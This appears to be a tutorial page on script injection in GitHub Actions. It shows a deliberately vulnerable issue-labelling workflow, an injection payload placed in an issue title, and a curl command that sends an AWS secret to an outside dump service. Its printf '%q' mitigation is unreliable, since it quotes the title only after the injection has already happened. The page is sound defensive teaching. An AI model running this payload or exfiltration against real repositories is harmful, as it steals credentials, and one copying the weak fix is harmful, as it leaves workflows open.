Skip to main content

Documentation Index

Fetch the complete documentation index at: https://notes.kodekloud.com/llms.txt

Use this file to discover all available pages before exploring further.

User-controlled inputs in GitHub Actions workflows can introduce critical vulnerabilities. This article demonstrates how untrusted issue titles may allow an attacker to run arbitrary shell commands, enumerate workspace files, and exfiltrate secrets.

​
Example Workflow

The following workflow triggers on newly opened issues. It inspects the issue title for the keyword bug, echoes a message, and assigns a label. An AWS secret is loaded from repository secrets as an environment variable. 
name: Label Issues (Script Injection)
on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4.1.1

      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        run: |
          issue_title="${{ github.event.issue.title }}"
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG"
          else
            echo "Not a bug"
          fi
The image shows a GitHub Actions workflow page for a repository, displaying the successful completion of a job named "assign-label" with various steps like "Set up job" and "Add a Label."

​
Demonstrating Script Injection

An attacker can craft an issue title that injects shell commands into the run step. For example: 
bug"; ls $GITHUB_WORKSPACE; echo "
The image shows a GitHub interface where a new issue is being created in a repository named "solar-system." The issue title includes a command snippet, and there are options to assign, label, and submit the issue.
When this issue triggers the workflow, the injected ls command executes on the runner, revealing files:
The image shows a GitHub Actions interface with a job titled "assign-label" that has successfully run, displaying a list of files in the workspace and a message indicating the issue is about a bug.

​
Exfiltrating Secrets

Beyond directory listing, an attacker can chain commands to leak secrets. The following curl command posts the AWS secret to a remote dump service: 
curl --request POST \
  --data "anything=$AWS_SECRET_ACCESS_KEY" \
  https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
On the dump service, the secret appears in the POST payload: 
POST /dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
anything=kwIvBBZ1Mlyap7XzquB/ScxFPlD0uINVszfF+q
Exposed AWS_SECRET_ACCESS_KEY can be exploited to access AWS resources, incurring data breaches or infrastructure compromise.

​
Risk Summary

Risk TypeImpactExample
Command InjectionArbitrary code execution on runnerls $GITHUB_WORKSPACE via issue title
Secret ExfiltrationLeakage of environment secretscurl of $AWS_SECRET_ACCESS_KEY
Data DisclosureExposure of repository filesListing workspace directory

​
Mitigation Strategies

  1. Sanitize Inputs
    Avoid direct interpolation of untrusted data. Use proper quoting: 
    safe_title=$(printf '%q' "$issue_title")
  2. Use Composite or JavaScript Actions
    Isolate processing in actions that handle inputs without a shell.
  3. Scope Secrets Minimally
    Restrict secret access with job permissions.
  4. Validate Patterns
    Enforce regex or allowlists when matching user-supplied values.
  5. Leverage Third-Party Utilities
    Consider actions like nektos/act-sanitizer for automatic escaping.
For more guidance on securing workflows, see the GitHub Actions security hardening guide.

​
Conclusion

Untrusted inputs in GitHub Actions can lead to script injection, workspace enumeration, and secret theft. Always validate, sanitize, and escape user-provided data before executing it on your CI runner.

​
References

Watch Video